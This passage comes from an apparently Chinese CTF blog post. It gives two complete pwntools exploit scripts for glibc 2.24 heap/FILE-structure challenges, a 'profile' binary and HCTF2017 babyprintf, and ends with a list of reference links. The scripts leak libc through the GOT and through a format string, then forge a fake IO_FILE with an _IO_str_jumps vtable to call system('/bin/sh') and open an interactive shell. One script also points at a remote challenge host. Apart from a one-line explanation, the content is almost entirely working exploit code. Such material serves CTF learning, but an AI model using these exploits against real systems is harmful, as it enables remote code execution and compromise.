1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from  pwn import  *context.log_level = 'debug'  context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1  if  local:	cn = process(['/home/veritas/glibc-2.24_i386_build/lib/ld-linux.so.2' ,'--library-path' ,'/home/veritas/glibc-2.24_i386_build/lib/' ,'./profile' ]) 	bin  = ELF('./profile' ) 	libc = ELF('/home/veritas/glibc-2.24_i386_build/lib/libc-2.24.so' ) else :    cn = remote('114.215.68.121' ,10080 )     bin  = ELF('./profile' )     libc = ELF('./libc.so_remote' ) def  z (a=''  ):	gdb.attach(cn,a) 	if  a == '' : 		raw_input() def  create (namelen,name,age ):	cn.sendline('1' ) 	cn.recvuntil('len:' ) 	cn.sendline(str (namelen)) 	cn.recvuntil('name:' ) 	cn.send(name) 	cn.recvuntil('age:' ) 	cn.sendline(str (age)) def  printout ():	cn.sendline('2' ) def  update_it (namelen,name,age ):	cn.sendline('3' ) 	cn.recvuntil('len:' ) 	cn.sendline(str (namelen)) 	cn.recvuntil('name:' ) 	cn.send(name) 	cn.recvuntil('age:' ) 	cn.sendline(str (age)) def  exchange (p1,p2 ):	cn.sendline('4' ) 	cn.recvuntil('1:' ) 	cn.send(p32(p1)) 	cn.recvuntil('2:' ) 	cn.send(p32(p2)) cn.recv() pay = p32(bin .got['read' ])+'a' *4 +p32(0x100 ) create(-1 ,pay,1 ) printout() cn.recvuntil('name: ' ) read = u32(cn.recv()[:4 ]) libc_base = read-libc.symbols['read' ] system = libc_base+libc.symbols['system' ] stdout = libc_base+libc.symbols['stdout' ] _IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps' ] binsh = libc_base+libc.search('/bin/sh' ).next () success('libc_base: ' +hex (libc_base)) success('stdout:'  + hex (stdout)) success('_IO_str_jumps: ' +hex (_IO_str_jumps)) pay2 = p32(bin .got['read' ])+'a' *4 +p32(0x100 )+'\x00' *(0x100 -0x94 +0x200 -4 ) from  FILE import  *context.arch = 'i386'  fake_file = IO_FILE_plus_struct() fake_file._flags = 0x8000  fake_file._IO_buf_base = binsh fake_file._IO_write_ptr = 0  fake_file._IO_write_end = 0  fake_file._mode=0  fake_file.vtable=_IO_str_jumps-4  pay2+=str (fake_file).ljust(0x9c ,'\x00' )+p32(system) update_it(-2 ,pay2,10 ) exchange(stdout-0xc ,0x0804B300 ) cn.interactive() 
HCTF2017 babyprintf 基本就是orange的做法,leak是利用printf格式化字符串来做的。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from  pwn import  *context.log_level = 'debug'  context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1  if  local:	cn = process(['/home/veritas/glibc-2.24_build/lib/ld-2.24.so' ,'--library-path' ,'/home/veritas/glibc-2.24_build/lib/' ,'./babyprintf' ]) 	 	libc = ELF('/home/veritas/glibc-2.24_build/lib/libc-2.24.so' ) else :	pass  def  z (a=''  ):	gdb.attach(cn,a) 	if  a == '' : 		raw_input() def  alloc (size,buf=''  ):	cn.recvuntil('size' ) 	cn.sendline(str (size)) 	cn.recvuntil('string' ) 	cn.sendline(buf) pay = 'A' *0x18  + '\xe1\x0f'  alloc(8 ,pay) pay=r'%p%p%p%p%pSTART%pEND'  alloc(0xfff ,pay) cn.recvuntil('START' ) leak = cn.recvuntil('END' )[:-3 ] libc_base = int (leak,16 )-libc.symbols['__libc_start_main' ]-240  _IO_list_all = libc_base+libc.symbols['_IO_list_all' ] _IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps' ] system = libc_base+libc.symbols['system' ] binsh = libc_base+libc.search('/bin/sh\x00' ).next () success('libc_base: ' +hex (libc_base)) pay = 'A' *0x200  from  FILE import  *context.arch = 'amd64'  fake_file = IO_FILE_plus_struct() fake_file._flags = 0  fake_file._IO_read_ptr = 0x61  fake_file._IO_read_base =_IO_list_all-0x10  fake_file._IO_buf_base = binsh fake_file._mode = 0  fake_file._IO_write_base = 0  fake_file._IO_write_ptr = 1  fake_file.vtable = _IO_str_jumps-8  pay+=str (fake_file).ljust(0xe8 ,'\x00' )+p64(system) alloc(0x200 ,pay) cn.sendline('1' ) cn.interactive() 
Reference Hctf-2017-babyprintf:http://simp1e.leanote.com/post/Hctf-2017-babyprintf 
CTF中带来的IO_FILE新思路:http://bobao.360.cn/learning/detail/4661.html 
Pwnable.tw-House-of-orange:http://simp1e.leanote.com/post/9571ae32e8ca 
HITCON CTF Qual 2016 - House of Orange Write up:http://4ngelboy.blogspot.jp/2016/10/hitcon-ctf-qual-2016-house-of-orange.html 
Play with FILE Structure [1]:http://www.mutepig.club/index.php/archives/70/ 
house-of-orange mutepighttp://mutepig.club/index.php/archives/51/ 
abusing-the-file-structure:https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/ 
ctf-HITCON-2016-houseoforange学习https://www.cnblogs.com/shangye/p/6268981.html 
Head First FILE Stream Pointer Overflowhttp://www.evil0x.com/posts/13764.html 
FSOP以及glibc针对其所做的防御措施http://blog.dazzlepppp.cn/2017/02/04/FSOP以及glibc针对其所做的防御措施 
sysmallochttp://www.mutepig.club/index.php/archives/47/#3.sysmalloc